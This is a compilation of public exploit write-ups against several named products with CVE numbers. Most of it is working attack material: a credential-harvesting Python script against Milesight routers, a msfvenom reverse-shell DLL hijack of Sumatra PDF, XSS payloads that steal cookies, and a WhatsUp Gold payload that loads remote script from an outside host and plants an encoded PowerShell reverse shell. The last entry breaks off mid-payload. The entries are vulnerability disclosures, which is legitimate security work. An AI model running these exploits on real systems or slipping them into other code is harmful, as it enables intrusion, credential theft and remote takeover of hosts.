<pre><code># Exploit Title: SISQUAL WFM 7.1.319.103 Host Header Injection<br /># Discovered Date: 17/03/2023<br /># Reported Date: 17/03/2023<br /># Exploit Author: Omer Shaik (unknown_exploit)<br /># Vendor Homepage: https://www.sisqualwfm.com<br /># Version: 7.1.319.103<br /># Tested on: SISQUAL WFM 7.1.319.103<br /># Affected Version: sisqualWFM - 7.1.319.103<br /># Fixed Version: sisqualWFM - 7.1.319.111<br /># CVE : CVE-2023-36085<br /># CVSS: 3.1 (AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)<br /># Category: Web Apps<br /># Reference: https://github.com/omershaik0/Handmade_Exploits/tree/main/SISQUALWFM-Host-Header-Injection-CVE-2023-36085<br /><br /><br /><br />A proof-of-concept(POC) scenario that demonstrates a potential host header injection vulnerability in sisqualWFM version 7.1.319.103, specifically targeting the /sisqualIdentityServer/core endpoint. This vulnerability could be exploited by an attacker to manipulate webpage links or redirect users to another site with ease, simply by tampering with the host header.<br /><br />&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;<br />Orignal Request<br />&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;<br />GET /sisqualIdentityServer/core/login HTTP/2<br />Host: sisqualwfm.cloud<br />Cookie:&lt;cookie&gt;<br />Sec-Ch-Ua: &quot;Not A(Brand&quot;;v&#61;&quot;24&quot;, &quot;Chromium&quot;;v&#61;&quot;110&quot;<br />Sec-Ch-Ua-Mobile: ?0<br />Sec-Ch-Ua-Platform: &quot;Linux&quot;<br />Upgrade-Insecure-Requests: 1<br />User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.78 Safari/537.36<br />Accept: text/html,application/xhtml+xml,application/xml;q&#61;0.9,image/avif,image/webp,image/apng,&#42;/&#42;;q&#61;0.8,application/signed-exchange;v&#61;b3;q&#61;0.7<br />Sec-Fetch-Site: none<br />Sec-Fetch-Mode: navigate<br />Sec-Fetch-User: ?1<br />Sec-Fetch-Dest: document<br />Accept-Encoding: gzip, deflate<br />Accept-Language: en-US,en;q&#61;0.9<br /><br />&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;<br />Orignal Response<br />&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;<br />HTTP/2 302 Found<br />Cache-Control: no-store, no-cache, must-revalidate<br />Location: https://sisqualwfm.cloud/sisqualIdentityServer/core/<br />Strict-Transport-Security: max-age&#61;31536000; includeSubDomains; preload<br />X-Content-Type-Options: nosniff<br />X-Frame-Options: sameorigin<br />Date: Wed, 22 Mar 2023 13:22:10 GMT<br />Content-Length: 0<br />&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;<br /><br /><br /><br /><br />&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9559; &#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9559; &#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9559;<br />&#9608;&#9608;&#9556;&#9552;&#9552;&#9608;&#9608;&#9559;&#9608;&#9608;&#9556;&#9552;&#9552;&#9552;&#9608;&#9608;&#9559;&#9608;&#9608;&#9556;&#9552;&#9552;&#9552;&#9552;&#9565;<br />&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9556;&#9565;&#9608;&#9608;&#9553; &#9608;&#9608;&#9553;&#9608;&#9608;&#9553; <br />&#9608;&#9608;&#9556;&#9552;&#9552;&#9552;&#9565; &#9608;&#9608;&#9553; &#9608;&#9608;&#9553;&#9608;&#9608;&#9553; <br />&#9608;&#9608;&#9553; &#9562;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9556;&#9565;&#9562;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9559;<br />&#9562;&#9552;&#9565; &#9562;&#9552;&#9552;&#9552;&#9552;&#9552;&#9565; &#9562;&#9552;&#9552;&#9552;&#9552;&#9552;&#9565;<br /> <br /><br /><br /><br />&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;<br />Request has been modified to redirect user to evil.com (Intercepted request using Burp proxy)<br />&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;<br />GET /sisqualIdentityServer/core/login HTTP/2<br />Host: evil.com<br />Cookie:&lt;cookie&gt;<br />Sec-Ch-Ua: &quot;Not A(Brand&quot;;v&#61;&quot;24&quot;, &quot;Chromium&quot;;v&#61;&quot;110&quot;<br />Sec-Ch-Ua-Mobile: ?0<br />Sec-Ch-Ua-Platform: &quot;Linux&quot;<br />Upgrade-Insecure-Requests: 1<br />User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.78 Safari/537.36<br />Accept: text/html,application/xhtml+xml,application/xml;q&#61;0.9,image/avif,image/webp,image/apng,&#42;/&#42;;q&#61;0.8,application/signed-exchange;v&#61;b3;q&#61;0.7<br />Sec-Fetch-Site: none<br />Sec-Fetch-Mode: navigate<br />Sec-Fetch-User: ?1<br />Sec-Fetch-Dest: document<br />Accept-Encoding: gzip, deflate<br />Accept-Language: en-US,en;q&#61;0.9<br /><br />&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;<br />Response<br />&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;<br />HTTP/2 302 Found<br />Cache-Control: no-store, no-cache, must-revalidate<br />Location: https://evil.com/sisqualIdentityServer/core/<br />Strict-Transport-Security: max-age&#61;31536000; includeSubDomains; preload<br />X-Content-Type-Options: nosniff<br />X-Frame-Options: sameorigin<br />Content-Length: 0<br /><br /><br />&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;<br />Method of Attack<br />&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;<br /><br />curl -k --header &quot;Host: attack.host.com&quot; &quot;Domain Name + /sisqualIdentityServer/core&quot; -vvv<br /><br />&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;&#42;<br /></code></pre>

<pre><code>#!/usr/bin/env python3<br /># -&#42;- coding: utf-8 -&#42;-<br /><br />&quot;&quot;&quot;<br />Title: Credential Leakage Through Unprotected System Logs and Weak Password Encryption<br />CVE: CVE-2023-43261<br />Script Author: Bipin Jitiya (&#64;win3zz)<br />Vendor: Milesight IoT - https://www.milesight-iot.com/ (Formerly Xiamen Ursalink Technology Co., Ltd.)<br />Software/Hardware: UR5X, UR32L, UR32, UR35, UR41 and there might be other Industrial Cellular Router could also be vulnerable.<br />Script Tested on: Ubuntu 20.04.6 LTS with Python 3.8.10<br />Writeup: https://medium.com/&#64;win3zz/inside-the-router-how-i-accessed-industrial-routers-and-reported-the-flaws-29c34213dfdf<br />&quot;&quot;&quot;<br /><br />import sys<br />import requests<br />import re<br />import warnings<br />from Crypto.Cipher import AES # pip install pycryptodome<br />from Crypto.Util.Padding import unpad<br />import base64<br />import time<br /><br />warnings.filterwarnings(&quot;ignore&quot;)<br /><br />KEY &#61; b&#39;1111111111111111&#39;<br />IV &#61; b&#39;2222222222222222&#39;<br /><br />def decrypt_password(password):<br /> try:<br /> return unpad(AES.new(KEY, AES.MODE_CBC, IV).decrypt(base64.b64decode(password)), AES.block_size).decode(&#39;utf-8&#39;)<br /> except ValueError as e:<br /> display_output(&#39; &#91;-&#93; Error occurred during password decryption: &#39; + str(e), &#39;red&#39;)<br /><br />def display_output(message, color):<br /> colors &#61; &#123;&#39;red&#39;: &#39;\033&#91;91m&#39;, &#39;green&#39;: &#39;\033&#91;92m&#39;, &#39;blue&#39;: &#39;\033&#91;94m&#39;, &#39;yellow&#39;: &#39;\033&#91;93m&#39;, &#39;cyan&#39;: &#39;\033&#91;96m&#39;, &#39;end&#39;: &#39;\033&#91;0m&#39;&#125;<br /> print(f&quot;&#123;colors&#91;color&#93;&#125;&#123;message&#125;&#123;colors&#91;&#39;end&#39;&#93;&#125;&quot;)<br /> time.sleep(0.5)<br /><br />urls &#61; &#91;&#93;<br /><br />if len(sys.argv) &#61;&#61; 2:<br /> urls.append(sys.argv&#91;1&#93;)<br /><br />if len(sys.argv) &#61;&#61; 3 and sys.argv&#91;1&#93; &#61;&#61; &#39;-f&#39;:<br /> with open(sys.argv&#91;2&#93;, &#39;r&#39;) as file:<br /> urls.extend(file.read().splitlines())<br /><br />if len(urls) &#61;&#61; 0:<br /> display_output(&#39;Please provide a URL or a file with a list of URLs.&#39;, &#39;red&#39;)<br /> display_output(&#39;Example: python3 &#39; + sys.argv&#91;0&#93; + &#39; https://example.com&#39;, &#39;blue&#39;)<br /> display_output(&#39;Example: python3 &#39; + sys.argv&#91;0&#93; + &#39; -f urls.txt&#39;, &#39;blue&#39;)<br /> sys.exit()<br /><br />use_proxy &#61; False<br />proxies &#61; &#123;&#39;http&#39;: &#39;http://127.0.0.1:8080/&#39;&#125; if use_proxy else None<br /><br />for url in urls:<br /> display_output(&#39;&#91;&#42;&#93; Initiating data retrieval for: &#39; + url + &#39;/lang/log/httpd.log&#39;, &#39;blue&#39;)<br /> response &#61; requests.get(url + &#39;/lang/log/httpd.log&#39;, proxies&#61;proxies, verify&#61;False)<br /><br /> if response.status_code &#61;&#61; 200:<br /> display_output(&#39;&#91;+&#93; Data retrieval successful for: &#39; + url + &#39;/lang/log/httpd.log&#39;, &#39;green&#39;)<br /> data &#61; response.text<br /> credentials &#61; set(re.findall(r&#39;&quot;username&quot;:&quot;(.&#42;?)&quot;,&quot;password&quot;:&quot;(.&#42;?)&quot;&#39;, data))<br /><br /> num_credentials &#61; len(credentials)<br /> display_output(f&#39;&#91;+&#93; Found &#123;num_credentials&#125; unique credentials for: &#39; + url, &#39;green&#39;)<br /><br /> if num_credentials &gt; 0:<br /> display_output(&#39;&#91;+&#93; Login page: &#39; + url + &#39;/login.html&#39;, &#39;green&#39;)<br /> display_output(&#39;&#91;&#42;&#93; Extracting and decrypting credentials for: &#39; + url, &#39;blue&#39;)<br /> display_output(&#39;&#91;+&#93; Unique Credentials:&#39;, &#39;yellow&#39;)<br /> for i, (username, password) in enumerate(credentials, start&#61;1):<br /> display_output(f&#39; Credential &#123;i&#125;:&#39;, &#39;cyan&#39;)<br /> decrypted_password &#61; decrypt_password(password.encode(&#39;utf-8&#39;))<br /> display_output(f&#39; - Username: &#123;username&#125;&#39;, &#39;green&#39;)<br /> display_output(f&#39; - Password: &#123;decrypted_password&#125;&#39;, &#39;green&#39;)<br /> else:<br /> display_output(&#39;&#91;-&#93; No credentials found in the retrieved data for: &#39; + url, &#39;red&#39;)<br /> else:<br /> display_output(&#39;&#91;-&#93; Data retrieval failed. Please check the URL: &#39; + url, &#39;red&#39;)<br /> <br /><br /></code></pre>

<pre><code># Exploit Title: Sumatra PDF 3.5.2 DLL Hijacking<br /># Date: 06.02.2024<br /># Exploit Author: Ravishanka Silva<br /># Vendor Homepage: https://www.sumatrapdfreader.org/free-pdf-reader<br /># Software Link: https://www.sumatrapdfreader.org/download-free-pdf-viewer<br /># Version: 3.5.2<br /># Tested on: Windows 10, Windows 11<br /># CVE : CVE-2024-24528<br /><br />Description:<br />Sumatra PDF is a free and open-source document viewer for Windows. It is a lightweight and minimalistic application designed to quickly and efficiently view PDF, eBook (ePub, Mobi), XPS, DjVu, CHM, and comic book (CBZ and CBR) files.<br />Key features of Sumatra PDF include its fast startup and rendering speed, support for a variety of document formats, and a user-friendly interface. While it may not have all the advanced features found in some other PDF viewers, Sumatra PDF is a popular choice for users who prioritize speed and simplicity in a document viewer.<br /><br />A DLL Hijacking vulnerability exists in Sumatra PDF Version 3.5.2 which allows a local attacker to execute arbitrary code and obtain a certain level of persistence on the compromised host, in the context of current logged-in user, by placing a crafted DLL in the installation directory, resulting in the hijacking of the following DLL files: <br />dbgcore.DLL<br />profapi.dll<br />PROPSYS.dll<br />TextShaping.dll<br />DWrite.dll<br /><br />Proof of Concept:<br /><br />1. Create a malicious .dll file via msfvenom,<br />msfvenom -p windows/x64/shell_reverse_tcp LHOST&#61;&lt;IP&gt; LPORT&#61;7777 -f dll -o dbgcore.DLL<br /><br />2. Place the malicious DLL inside the Sumatra PDF installation folder. (Usually &quot;C:\Users\&lt;username&gt;\AppData\Local\SumatraPDF&quot;)<br /><br />3. Start a listener via nc,<br />nc -lvp 7777<br /><br />4. Open Sumatra PDF application, and observe the execution of the reverse shell.<br /><br />Demo:<br />https://drive.google.com/file/d/1-OMJ0ZvR9TYJEg_AwspRcGEAQvOLHJ41/view?usp&#61;sharing<br /></code></pre>

<pre><code># Exploit Title: simple urls &lt; 115 XSS<br /># Google Dork:<br /># Exploit Author: AmirZargham<br /># Vendor Homepage: https://getlasso.co/<br /># Software Link: https://wordpress.org/plugins/simple-urls/<br /># Version: &lt; 115<br /># Tested on: firefox,chrome<br /># CVE: CVE-2023-0099<br /># CWE: CWE-79<br /># Platform: MULTIPLE<br /># Type: WebApps<br /><br /><br />Description<br />The Simple URLs WordPress plugin before 115 does not sanitise and escape<br />some parameters before outputting them back in some pages, leading to<br />Reflected Cross-Site Scripting.<br /><br /><br />Usage Info:<br /><br />send malicious link to victim:<br />https://vulnerable.com/wp-content/plugins/simple-urls/admin/assets/js/import-js.php?search&#61;<br />&lt;script&gt;alert(origin)&lt;/script&gt;<br /><br /></code></pre>

<pre><code># Exploit Title: GYM MS - GYM Management System - Cross Site Scripting (Stored)<br /># Date: 29/09/2023<br /># Vendor Homepage: https://phpgurukul.com/gym-management-system-using-php-and-mysql/<br /># Software Link: https://phpgurukul.com/projects/GYM-Management-System-using-PHP.zip<br /># Version: 1.0<br /># Last Update: 31 August 2022<br /># Tested On: Kali Linux 6.1.27-1kali1 (2023-05-12) x86_64 + XAMPP 7.4.30<br /><br /># 1: Create user, login and go to profile.php<br /><br /># 2: Use payload x%22%20onmouseover%3Dalert%28document.cookie%29%20x%3D%22 in lname field.<br /><br /># 3: When entering the profile.php page, document.cookie will be reflected every time.<br /><br /># Author<br />This vulnerability was detected by Alperen Yozgat while testing with the Rapplex - Web Application Security Scanner.<br /><br /># About Rapplex<br />Rapplex is a web applicaton security scanner that scans and reports vulnerabilities in websites.<br />Pentesters can use it as an automation tool for daily tasks but &quot;Pentester Studio&quot; will provide such a great addition as well in their manual assessments.<br />So, the software does not need separate development tools to discover different types of vulnerabilities or to develop existing engines. <br />&quot;Exploit&quot; tools are available to take advantage of vulnerabilities such as SQL Injection, Code Injection, Fle Incluson.<br /><br /><br /># HTTP Request <br /><br />POST /gym/profile.php HTTP/1.1<br />Host: localhost<br />Content-Length: 129<br />Content-Type: application/x-www-form-urlencoded<br />User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36<br />Accept: text/html,application/xhtml+xml,application/xml;q&#61;0.9,image/avif,image/webp,image/apng,&#42;/&#42;;q&#61;0.8,application/signed-exchange;v&#61;b3;q&#61;0.7<br />Cookie: PHPSESSID&#61;76e2048c174c1a5d46e203df87672c25 #CHANGE<br />Connection: close<br /><br />fname&#61;test&amp;lname&#61;x%22%20onmouseover%3Dalert%28document.cookie%29%20x%3D%22&amp;email&#61;john%40test.com&amp;mobile&#61;1425635241&amp;state&#61;Delhi&amp;city&#61;New+Delhi&amp;address&#61;ABC+Street+XYZ+Colony&amp;submit&#61;Update<br /> <br /><br /></code></pre>

<pre><code># Exploit Title: WhatsUpGold 22.1.0 - Stored Cross-Site Scripting (XSS)<br /># Date: April 18, 2023<br /># Exploit Author: Andreas Finstad (4ndr34z)<br /># Vendor Homepage: https://www.whatsupgold.com<br /># Version: v.22.1.0 Build 39<br /># Tested on: Windows 2022 Server<br /># CVE : CVE-2023-35759<br /># Reference: https://nvd.nist.gov/vuln/detail/CVE-2023-35759<br /><br /><br /><br />WhatsUp Gold 2022 (22.1.0 Build 39) <br /><br />Stored XSS in sysName SNMP parameter.<br /><br /><br />Vulnerability Report: Stored XSS in WhatsUp Gold 2022 (22.1.0 Build 39)<br />Product Name: WhatsUp Gold 2022<br />Version: 22.1.0 Build 39<br />Vulnerability Type: Stored Cross-Site Scripting (XSS)<br /><br />Description:<br />WhatsUp Gold 2022 is vulnerable to a stored cross-site scripting (XSS) attack that allows an attacker to inject malicious scripts into the admin console. The vulnerability exists in the sysName SNMP field on a device, which reflects the input from the SNMP device into the admin console after being discovered by SNMP.<br /> <br />An attacker can exploit this vulnerability by crafting a specially crafted SNMP device name that contains malicious code. Once the device name is saved and reflected in the admin console, the injected code will execute in the context of the admin user, potentially allowing the attacker to steal sensitive data or perform unauthorized actions.<br /><br />As there is no CSRF tokens or CDP, it is trivial to create a javascript payload that adds an scheduled action on the server, that executes code as &quot;NT System&quot;. In my POC code, I add a Powershell revshell that connects out to the attacker every 5 minutes. (screenshot3)<br /><br />The XSS trigger when clicking the &quot;All names and addresses&quot;<br /><br />Stage:<br /><br />Base64 encoded id property:<br />var a&#61;document.createElement(&quot;script&quot;);a.src&#61;&quot;https://f20.be/t.js&quot;;document.body.appendChild(a);<br /><br />Staged payload placed in the SNMP sysName Field on a device:<br />&lt;img id&#61;dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vZjIwLmJlL3QuanMiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7Cg&#61;&#61; src&#61;https://f20.be/1 onload&#61;eval(atob(this.id))&gt;<br /><br />payload:<br /><br />var vhost &#61; window.location.protocol+&#39;\/\/&#39;+window.location.host<br /><br />addaction();<br />async function addaction() &#123;<br />var arguments &#61; &#39;&#39;<br />let run &#61; fetch(vhost+&#39;/NmConsole/api/core/WugPowerShellScriptAction?_dc&#61;1655327281064&#39;,&#123;<br /> method: &#39;POST&#39;,<br /> headers: &#123;<br /> &#39;Connection&#39;: &#39;close&#39;,<br /> &#39;Content-Length&#39;: &#39;1902&#39;,<br /> &#39;sec-ch-ua&#39;: &#39;&quot; Not A;Brand&quot;;v&#61;&quot;99&quot;, &quot;Chromium&quot;;v&#61;&quot;102&quot;, &quot;Microsoft Edge&quot;;v&#61;&quot;102&quot;&#39;,<br /> &#39;Accept&#39;: &#39;application/json&#39;,<br /> &#39;Content-Type&#39;: &#39;application/json&#39;,<br /> &#39;X-Requested-With&#39;: &#39;XMLHttpRequest&#39;,<br /> &#39;sec-ch-ua-mobile&#39;: &#39;?0&#39;,<br /> &#39;User-Agent&#39;: &#39;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36 Edg/102.0.1245.33&#39;,<br /> &#39;sec-ch-ua-platform&#39;: &#39;&quot;macOS&quot;&#39;,<br /> &#39;Sec-Fetch-Mode&#39;: &#39;cors&#39;,<br /> &#39;Sec-Fetch-Dest&#39;: &#39;empty&#39;,<br /> &#39;Accept-Encoding&#39;: &#39;gzip, deflate&#39;,<br /> &#39;Accept-Language&#39;: &#39;nb,no;q&#61;0.9,en;q&#61;0.8,en-GB;q&#61;0.7,en-US;q&#61;0.6,sv;q&#61;0.5,fr;q&#61;0.4&#39;<br /> &#125;,<br /> credentials: &#39;include&#39;,<br /> body: &#39;&#123;&quot;id&quot;:-1,&quot;Timeout&quot;:30,&quot;ScriptText&quot;:&quot;Start-process powershell -argumentlist \\&quot;-W Hidden -noprofile -executionpolicy bypass -NoExit -e JAB0AG0AcAAgAD0AIABAACgAJwBzAFkAUwB0AGUATQAuAG4ARQB0AC4AcwBPAGMAJwAsACcASwBFAHQAcwAuAHQAQwBQAEMAbABJAGUAbgB0ACcAKQA7ACQAdABtAHAAMgAgAD0AIABbAFMAdAByAGkAbgBnAF0AOgA6AEoAbwBpAG4AKAAnACcALAAkAHQAbQBwACkAOwAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAkAHQAbQBwADIAKAAnADEAOQAyAC4AMQA2ADgALgAxADYALgAzADUAJwAsADQANAA0ADQAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAb